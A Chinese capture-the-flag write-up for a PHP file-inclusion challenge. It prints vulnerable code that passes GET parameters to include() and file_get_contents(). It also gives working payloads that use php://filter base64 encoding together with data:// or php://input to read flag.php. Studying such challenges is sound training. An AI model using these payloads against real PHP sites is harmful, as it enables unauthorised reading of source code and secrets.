攻防世界27-fileclude-CTFWeb
攻防世界27-fileclude-CTFWeb
代码审计,文件包含
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"])){
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2)) {
if(file_get_contents($file2) === "hello ctf") {
include($file1);
}
}
else
die("NONONO");
}
file1和file2要存在,且不为空,file2的内容时hello,ctf
file_get_contents($file2)
是 PHP 中的一个函数调用,用来读取一个文件的内容。具体来说,$file2
是包含文件路径的变量,file_get_contents
函数会打开该文件并将文件的所有内容作为一个字符串返回,打开失败时返回false;
最后包含file1,我们希望得到flag,获取内容,可以用filter读取
file2=hello,ctf,我们要使用php://input或data://进行绕过
payload1:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
payload2:?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input
postdata:a=hello ctf
最后burp抓包删去a=
因为hackbar不能直接发送hello ctf,只能以键值对方式发送
php://filter:当
include($file1)
被执行时,它不会正常包含flag.php
文件,而是输出其经过 Base64 编码的内容。
data://
是 PHP 中一种输入流,允许直接在 URL 中传递数据。这种流格式类似于data:
协议,可以直接嵌入文本数据。这里file2=data://text/plain,hello ctf
实际上是将字符串"hello ctf"
作为file2
的内容。
file_get_contents()
函数期望接收的是一个有效的文件路径,并会尝试读取该文件的内容。当使用
data://
或php://input
时,传递的值被解释为一种特殊的输入流,而不是文件名:
data://text/plain,hello ctf
:这是 PHP 提供的特殊 URI 方案,允许直接将数据嵌入到 URI 中。data://text/plain,hello ctf
会返回文本数据"hello ctf"
,并被file_get_contents()
读取。php://input
:这个流可以让 PHP 读取 HTTP 请求体中的原始数据。如果请求体中包含"hello ctf"
,file_get_contents('php://input')
会读取并返回它。
- 感谢你赐予我前进的力量